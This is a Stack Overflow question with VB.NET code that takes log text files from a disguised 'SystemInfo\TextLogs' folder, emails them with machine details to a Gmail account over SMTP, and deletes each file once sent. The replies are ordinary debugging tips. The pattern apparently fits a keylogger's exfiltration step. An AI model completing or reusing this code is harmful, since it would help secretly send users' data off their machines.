0

i want to display text file name to label random (it's work fine), send to email(not work) delete it from directory (work fine) , how to make this code send to gmail all text inside file (not attach whole file but text inside file)

Dim rnd As New Random
Dim alljpgs1() As String = IO.Directory.GetFiles("C:\Users\" + Environment.UserName.ToString + "\AppData\SystemInfo\TextLogs", "*.txt", IO.SearchOption.TopDirectoryOnly)
If alljpgs1.Count > 2 Then
    Dim iz As String = rnd.Next(0, alljpgs1.Count - 1)
    Dim jpg As New String(alljpgs1(iz))

    Label26.Text = IO.Path.GetFileNameWithoutExtension(alljpgs1(iz))

    My.Settings.fileto = Label26.Text
    My.Settings.Save()

    TextBox4.Text = My.Settings.Textto

    Dim MyMailMessage As New MailMessage()
    MyMailMessage.From = New MailAddress(My.Settings.UserName)
    MyMailMessage.To.Add(My.Settings.UserName)
    MyMailMessage.Subject = Environment.UserName.ToString + " Part: " + My.Settings.part.ToString

    MyMailMessage.Body = "Compare Info: " + My.Computer.Info.InstalledUICulture.CompareInfo.ToString + vbNewLine +
        "Display Name: " + My.Computer.Info.InstalledUICulture.DisplayName.ToString + vbNewLine +
        "English Name: " + My.Computer.Info.InstalledUICulture.EnglishName.ToString + vbNewLine +
        "Left Language Tag: " + My.Computer.Info.InstalledUICulture.IetfLanguageTag.ToString + vbNewLine +
        "Name: " + My.Computer.Info.InstalledUICulture.Name.ToString + vbNewLine +
        "Native Name: " + My.Computer.Info.InstalledUICulture.NativeName.ToString + vbNewLine +
        "Text Info: " + My.Computer.Info.InstalledUICulture.TextInfo.ToString + vbNewLine +
        "3 Letter ISO Language Name: " + My.Computer.Info.InstalledUICulture.ThreeLetterISOLanguageName.ToString + vbNewLine +
        "3 Letter Windows Language Name: " + My.Computer.Info.InstalledUICulture.ThreeLetterWindowsLanguageName.ToString + vbNewLine +
        "2 Letter ISO Language Name: " + My.Computer.Info.InstalledUICulture.TwoLetterISOLanguageName.ToString + vbNewLine + vbNewLine + vbNewLine + iz
    Dim SMTPServer As New SmtpClient("smtp.gmail.com")
    SMTPServer.Port = 587
    SMTPServer.Credentials = New System.Net.NetworkCredential(My.Settings.UserName, My.Settings.Password)
    SMTPServer.EnableSsl = True
    SMTPServer.Send(MyMailMessage)

    ' Timer5.Start()

    My.Settings.part = My.Settings.part + 1
    My.Settings.Save()
    My.Settings.Reload()

    If alljpgs1.Count > 0 Then
        My.Computer.FileSystem.DeleteFile(alljpgs1(iz))
    Else
        Timer18.Stop()
        Label26.Text = "Nothing to send"
    End If
End If
RobertBaron
  • 2,817
  • 1
  • 12
  • 19
  • To start with change `rnd.Next(0, alljpgs1.Count - 1)` to `rnd.Next(0, alljpgs1.Count)`. – Enigmativity Jul 02 '19 at 10:43
  • I suggest to create a memory stream and attach it to your email with any random name you want (less overload, less i/o wait, less i/o error, better management). take a look at this c# example. https://stackoverflow.com/questions/5336239/attach-a-file-from-memorystream-to-a-mailmessage-in-c-sharp – Mazdak Jul 02 '19 at 10:47

0 Answers0